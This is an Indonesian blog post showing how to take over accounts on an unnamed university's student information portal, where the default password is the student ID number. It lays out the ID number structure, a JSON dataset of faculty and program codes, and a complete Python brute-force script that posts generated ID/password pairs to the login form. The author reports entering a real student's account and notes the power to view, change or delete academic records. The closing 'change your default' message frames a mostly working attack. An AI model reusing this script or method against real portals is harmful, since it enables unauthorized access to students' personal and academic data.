progrez.cloud

Never Keep Every Default, Unless You Have No Fault

26 Maret 2023

0x00 Intro ~

Di era teknologi sekarang ini, hampir semua lini telah melakukan digitalisasi, termasuk pada universitas. Dimana hampir semua kampus memiliki sistem informasi mahasiswa digital yang kebanyakan berbasis website. Sistem informasi ini biasanya digunakan untuk menyimpan dan mengolah data-data mahasiswa, seperti nilai, mata kuliah, dll.


Di sebuah universitas negeri terbaik di suatu wilayah, setiap mahasiswa baru akan diberikan akun untuk masuk ke sistem informasi kampus tersebut. Setiap mahasiswa akan diberikan informasi login, yaitu username dan password bawaan berupa NPM (Nomor Pokok Mahasiswa) dari masing-masing mahasiswa.


Informasi login Default (bawaan) ini mestinya diganti, karena memiliki masalah.


0x01 Default is a Fault ~

Permasalahan pada informasi login ini adalah, NPM merupakan informasi publik yang dapat dengan mudah diketahui, mari kita ambil contoh kasus pada universitas tersebut.


Pada kampus tersebut, NPM memiliki 11 digit dengan karakteristik berikut:

xxyyzz11zit
  • [xx] ; 2 digit pertama adalah kode fakultas
  • [yy] ; 2 digit kedua adalah kode program studi (prodi)
  • [zz] ; 2 digit ketiga adalah kode angkatan
  • [11] ; 2 digit keempat adalah ... ~ ntahlah mungkin semacam konstanta yang bernilai 11
  • [zit] ; 3 digit terakhir adalah nomor urut mahasiswa


Dengan informasi tersebut kita bisa mencoba satu persatu dari nomor urut mahasiswa dengan mengetahui kode fakultas. Tapi bagaimana cara mencari tahu kode fakultas dan kode prodi?


Salah satu caranya adalah dengan mengecek NPM dari mahasiswa di tiap-tiap fakultas dan prodi. Kebetulan kampus tersebut menyediakan sebuah situs untuk mengecek NPM berdasarkan nomor ujian yang bisa kita dapatkan dengan mengunduh daftar mahasiswa baru yang lolos di laman artikel resmi kampus tersebut.


Misalnya daftar mahasiswa yang lolos dalam seleksi SBMPTN di [artikel berikut]. Lalu berdasarkan nomor ujian mahasiswa yang diperoleh, kita bisa lakukan pengecekan NPM pada [laman berikut]. Dari pengecekan tersebut kita memperoleh informasi berikut.



Dari NPM pada gambar di atas, jika kita sesuaikan dengan karakteristik NPM sebelumnya maka kita bisa tentukan bahwa 07 adalah kode fakultas Teknik, 35 adalah kode prodi Informatika, 22 artinya angkatan 22, dan seterusnya.


0x02 Recon is Easy ~

Dengan ini, kita bisa mencari tahu pola NPM untuk semua fakultas dan prodi. Lalu, kita bisa buat dataset dari data-data tersebut.


Misalnya dataset dalam bentuk json seperti berikut:

{
 "Hukum": {
   "kode": "01",
   "prodi": {
     "Ilmu Hukum": "01"
    }
 },
 "FEB": {
   "kode": "02",
   "prodi": {
     "Ekonomi Pembangunan": "03",
     "Manajemen": "04",
     "Akuntansi": "27"
   }
 },
 "FKIP": {
   "kode": "03",
   "prodi": {
     "B. Indo": "05",
     "B. Ing": "06",
     "PPKN": "07",
     "Matematika": "08",
     "Fisika": "09",
     "Biologi": "10",
     "Geografi": "28",
     "Kimia": "29",
     "PGSD": "30",
     "PGPAUD": "33"
   }
 },
 "Pertanian": {
   "kode": "04",
   "prodi": {
     "Tek.Pertanian": "13",
     "Peternakan": "14",
     "Agroteknologi": "31",
     "Kehutanan": "34",
     "Agribisnis": "37",
     "Ilmu Tanah": "39"
   }
 },
 "Kelautan": {
   "kode": "05",
   "prodi": {
     "MSDP": "16",
     "Bud. Perairan": "17",
     "Ilmu Kelautan": "18",
     "PSDP": "19"
   }
 }, 
 "Ilmu Budaya": {
   "kode": "06",
   "prodi": {
     "Sastra Indonesia": "20",
     "Sastra Inggris": "21",
     "Ilmu Sejarah": "22",
     "Antro. Sosial": "32",
     "UPW": "36"
   }
 }, 
 "Teknik": {
   "kode": "07",
   "prodi": {
     "Mesin": "24",
     "Elektro": "25",
     "Arsitektur": "26",
     "Sipil": "23",
     "Informatika": "35",
     "Pertambangan": "38",
     "Industri": "43"
   }
 },
 "Kedokteran": {
   "kode": "09",
   "prodi": {
     "Pend. Dokter": "40",
     "Farmasi": "41",
     "Psikologi": "42"
   }
 }
}

~ Anjayy keren parahh...


Dengan dataset di atas, kita dapat melakukan bruteforce attack pada seluruh akun mahasiswa yang ada di universitas terbaik ini. Misalnya kita ingin masuk ke akun dari salah satu mahasiswa angkatan 22 prodi Manajemen. Kita tahu bahwa kode fakultas FEB adalah 02 dan kode prodi Manajemen adalah 04 sehingga kita dapati NPM seluruh mahasiswa prodi Manajemen angkatan 22 adalah 02042211xxx dengan 3 digit terakhir adalah nomor urut mahasiswa.


Maka, kita dapat mencoba login satu persatu dengan username dan password menggunakan NPM 02042211001 hingga 02042211200 dengan asumsi bahwa prodi Manajemen memiliki total 200 mahasiswa.


Voilaa ~

Jika ada diantara para mahasiswa yang memiliki NPM tersebut tidak mengganti password mereka, maka kita akan berhasil masuk menggunakan informasi login default tersebut.


0x03 Do It Efficiently ~

Bruteforce manual yang kita lakukan sebelumnya adalah hal yang sia-sia, buang-buang waktu dan tenaga, dan dapat membatalkan puasa. Jadi, mari kita lakukan bruteforce attack yang sesungguhnya.


Ada banyak tools yang dapat kita gunakan untuk melakukan bruteforce semacam ini. Tapi dengan pengalaman membuat laporan praktikum tulis tangan 7 Bab, seharusnya dapat dengan mudah membuat program sendiri untuk melakukan otomasi bruterforce di atas.


Jangan sia-siakan pengalaman tersebut ~


Kita akan buat sebuah program sederhana yang akan secara otomatis mengirimkan sejumlah request dengan username dan password yang terdiri dari daftar NPM yang sudah kita buat sebelumya ke halaman login pada website sistem informasi mahasiswa.



Di atas adalah tampilan form login ke akun mahasiswa, di mana terdapat 3 input, yakni 'NPM', 'Password', dan 'Jenis Pengguna'. Dimana untuk 'Jenis Pengguna' terdapat 3 opsi, yaitu 'Dosen', 'Mahasiswa Internal' dan 'Mahasiswa MBKM'.



0x04 Pre Code ~

Untuk membuat tools bruteforce kali ini, akan digunakan bahasa pemrograman Python. Salah satu alasannya adalah karena modul pada laporan praktikum tulis tangan menggunakan bahasa pemrograman python sebagai penerapannya. Karena itu, mari kita manfaatkan ilmu yang telah kita dapati dari hasil tulis tangan.


Tujuan utama program ini adalah untuk men-generate secara otomatis NPM mahasiswa dari prodi, fakultas dan angkatan berdasarkan hasil inputan user. Lalu, sejumlah NPM yang berhasil di generate tersebut akan kita gunakan untuk melakukan bruteforce pada akun mahasiswa. Jika ada diantara mahasiswa dengan NPM tersebut masih menggunakan informasi login default. Maka, login berhasil dan data mahasiswa tersebut akan dengan sangat amat mudah diketahui.



Nah, program kita akan bekerja kurang lebih sama seperti pada flowchart di atas.


0x05 The Code ~

Setelah mengetahui cara kerja program yang akan dibuat. Tahapan selanjutnya adalah ngoding.


So, Lets be a Python PROgrammer ~


Pertama, import library yang dibutuhkan

import requests as req
import json, re

Ada 3 library yang dibutuhkan, meliputi requests, json dan re.


Selanjutnya, masukkan url target dan dataset kode npm yang sudah dibuat sebelumnya

url     = [url_target]
kodeNPM = json.loads(open("kode_npm.json", "r").read())

File dataset yang di simpan dalam bentuk json, dapat dibuka dengan fungsi open([param1], [param2]) parameter pertama adalah nama file dan parameter kedua adalah mode yang diisi dengan "r" yang berarti read mode. Lalu, baca isi dari file tersebut dengan memanggil method read(). [Baca Selengkapnya]

Karena isi dari file tersebut memiliki format json, maka perlu melakukan parsing data ke dalam bentuk dictionary python, dengan cara memanggil method json.loads([string json]). [Baca Selengkapnya]


Diperlukan beberapa input yang nantinya digunakan untuk men-generate npm, diantaranya fakultas, prodi, angkatan dan jumlah npm yang akan di-generate

fakultas = input("Pilih Fakultas : ")
prodi    = input("Pilih Prodi    : ")
angkatan = input("Pilih Angkatan : ")
jmlh     = int(input("Masukkan Jumlah Data : "))

Nama fakultas dan prodi yang diinput harus sama dan sesuai dengan nama fakultas dan prodi yang ada pada dataset


Buat pola NPM berdasarkan fakultas, prodi dan angkatan dari hasil inputan

kFak = kodeNPM[fakultas]["kode"]
kPro = kodeNPM[fakultas]["prodi"][prodi]
kode = kFak + kPro + angkatan + "11"

Variabel kFak menyimpan kode fakultas yang didapat berdasarkan nama fakultas yang diinput. Begitu juga dengan variabel kPro yang menyimpan kode prodi dari hasil inputan. Lalu variabel kode akan membuat pola 8 digit pertama kode NPM dengan melakukan concatenate pada nilai kode fakultas, kode prodi, angkatan dan konstanta yang bernilai 11.


Generate nomor urut mahasiswa sebanyak jumlah data yang diinput sebelumnya

NPMs = [kode + '{:03d}'.format(x) for x in range(1, jmlh+1)]

Pertama, lakukan looping dengan iterasi sebanyak jumlah data yang diinput, perhatikan sintaks for x in range(1, jmlh+1). Setiap nilai iterasi yang disimpan dalam variabel x akan diformat menjadi bentuk 3 digit dengan sintaks '{:03d}'.format(x). Sehingga, 3 digit variabel x ini akan menjadi 3 digit nomor urut pada NPM. Terakhir, lakukan concatenate antara pola kode NPM sebelumnya dengan 3 digit nomor urut NPM, kemudian di append ke dalam variabel NPMs.


Ayo Bruteforce!

for npm in NPMs:
  loginData = {"username": npm, "password": npm, "jenis_akses": "mahasiswa1", "btn": "submit"}
  print(npm, end=" | ")

  try:
    theRes   = req.post(url, data=loginData)
    userName = re.search("<b>(.*?)</b>", theRes.text.split("\n")[159]).group(1)
       
    print(userName)

  except:
    print("Not Default!")

Lakukan looping untuk mendapat nilai tiap-tiap NPM yang ada pada variabel NPMs. Lalu, masukkan tiap-tiap NPM ke dalam parameter yang dibutuhkan untuk login dan simpan dalam variabel loginData.

Pada blok kode try.. except.., lakukan http post request ke url target menggunakan method post dari library requests yang telah di-import sebelumnya dan mengirimkan loginData, lalu response dari requestnya disimpan pada variabel theRes.

Jika login berhasil, langkah selanjutnya adalah menampilkan nama mahasiswa dan tampilkan sebagai output. Jika gagal, maka output yang ditampilkan adalah "Not Default!".

Untuk melakukan ekstraksi nama mahasiswa dari http response, silahkan analisis sendiri sintaks berikut.

userName = re.search("<b>(.*?)</b>", theRes.text.split("\n")[159]).group(1)


Voilaa ~

U got the code, u can custom it as you want. Its Open Source Broo :D ~


0x06 Post Code ~

Jika dijalankan hasilnya kurang lebih akan seperti berikut



Dari hasil di atas, dapat diketahui bahwa dari 10 orang mahasiswa prodi Ilmu Hukum, hanya 2 diantaranya yang mengubah informasi default mereka.


Maka, kita dapat dengan mudah masuk ke akun salah satu mahasiswa dengan login default di atas. Contohnya mahasiswa dengan NPM 01012211006.



Voilaa ~

Dengan masuk ke akun akademik mahasiswa tersebut, kita memiliki akses informasi, dapat melihat, memanipulasi dan menghapus informasi dari mahasiswa tersebut, seperti KRS, KHS, Biodata, Tugas, dll.


Ditambah lagi, kita bisa melakukan pembayaran ukt mahasiswa tersebut dan mengurangi bebannya. Dengan begitu, kita bisa menjadi superhero misterius yang tidak diketahui identitasnya ;)


So, Never Keep Your Default :D ~


~~ Ciaoo ~~